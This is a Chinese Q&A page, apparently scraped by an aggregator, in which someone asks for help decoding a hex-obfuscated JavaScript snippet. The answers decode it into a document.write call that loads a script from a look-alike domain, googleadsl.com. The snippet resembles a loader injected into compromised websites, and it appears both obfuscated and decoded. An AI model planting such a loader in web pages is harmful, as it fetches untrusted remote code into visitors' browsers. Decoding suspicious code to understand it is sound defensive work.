帮忙破译JS代码
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了帮忙破译JS代码相关的知识,希望对你有一定的参考价值。
<Script language="javascript">
<!--
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x53\x43\x52\x49\x50\x54 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x67\x6f\x6f\x67\x6c\x65\x61\x64\x73\x6c\x2e\x63\x6f\x6d\x2f\x73\x70\x63\x6f\x64\x65\x2f\x6a\x71\x75\x65\x72\x79\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');
-->
</Script>
这段代码是十六进制,你可以这样翻译一下
<Script language="javascript">
alert("\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74");
alert("\\x77\\x72\\x69\\x74\\x65");
alert("\\x3c\\x53\\x43\\x52\\x49\\x50\\x54 \\x73\\x72\\x63\\x3d\\x22\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x77\\x77\\x77\\x2e\\x67\\x6f\\x6f\\x67\\x6c\\x65\\x61\\x64\\x73\\x6c\\x2e\\x63\\x6f\\x6d\\x2f\\x73\\x70\\x63\\x6f\\x64\\x65\\x2f\\x6a\\x71\\x75\\x65\\x72\\x79\\x2e\\x6a\\x73\\x22\\x3e\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e");
</Script>
结果就是加载了这段代码
追问明白了,谢谢。
参考技术A 你自己也能破译啊,把每个中括号的内容放到alert();中,让浏览器输出就行了!如在html中第一个中括号的内容:
<script type="text/javascript">
alert("\x64\x6f\x63\x75\x6d\x65\x6e\x74");
</script> 参考技术B 用decodeURIComponent() 转换就可以了 参考技术C window.document.write('<SCRIPT src="http://www.googleadsl.com/spcode/jquery.js"></script>')
上面是等效代码. 方法请参照另外一个网友说的,通过alert或console.log打印出来,其实就是一个字符串的转义.
以上是关于帮忙破译JS代码的主要内容,如果未能解决你的问题,请参考以下文章